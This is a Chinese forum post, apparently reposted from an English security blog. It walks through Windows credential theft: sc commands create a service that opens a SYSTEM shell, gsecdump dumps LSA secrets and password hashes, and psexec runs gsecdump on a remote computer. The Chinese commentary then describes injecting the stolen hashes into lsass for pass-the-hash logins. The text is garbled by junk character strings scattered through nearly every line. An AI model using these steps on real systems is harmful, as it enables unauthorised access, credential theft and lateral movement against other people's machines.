HASH注入式攻击

admin

o get a DOS Prompt as NT system:

* ]& t  B6 W4 X1 P$ \C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
% [2 G7 z7 ]/ H' v- Z5 |  U[SC] CreateService SUCCESS

4 B/ s$ I% i( p7 TC:\>sc start shellcmdline
. A; }! H+ f* T" n0 s3 R0 k* O2 B/ d[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.
: j% G2 N( v  g9 I6 m# w! }
, F, E6 k: i  B% N9 FC:\>sc delete shellcmdline
[SC] DeleteService SUCCESS

" {3 C. }' Z0 {0 V) v------------

* l+ F+ f/ k* aThen in the new DOS window:
) D- u2 ^' a4 d5 L( o
Microsoft Windows XP [Version 5.1.2600]
* T* R* I. ~7 q. x(C) Copyright 1985-2001 Microsoft Corp.
  k2 H. Z" u5 t- F% N1 q6 b" I
/ @1 p* i3 G. W( V$ s, qC:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM
& y! d2 O# q3 s, t
( G3 d: v, B3 o3 jC:\WINDOWS\system32>gsecdump -h
1 A! U. S5 P0 |gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
5 T# _# e0 D  u2 V. X/ Z1 e( P2 }usage: gsecdump [options]

options:
: ~) }7 v5 m7 E7 z5 [8 b-h [ --help ] show help
-a [ --dump_all ] dump all secrets
6 N/ Q( F  d' ^; G3 P-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

Although I like to use:

PsExec v1.83 - Execute processes remotely
2 B9 }: q: J( h# D; p. R4 LCopyright (C) 2001-2007 Mark Russinovich
8 q- e2 D2 {3 D" \Sysinternals - 链接标记[url]www.sysinternals.com[/url]

C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

8 f/ f+ m" [# ~( k' Z# Gto get the hashes from active logon sessions of a remote system.

These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
, w. [8 t4 A; e4 H7 I3 j
/ l4 f* B1 M8 }  B提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
3 Y6 c- e2 p6 a" f/ |8 X原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
* N9 m# j" t* {
我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
' N- n0 P. {6 z1 v" X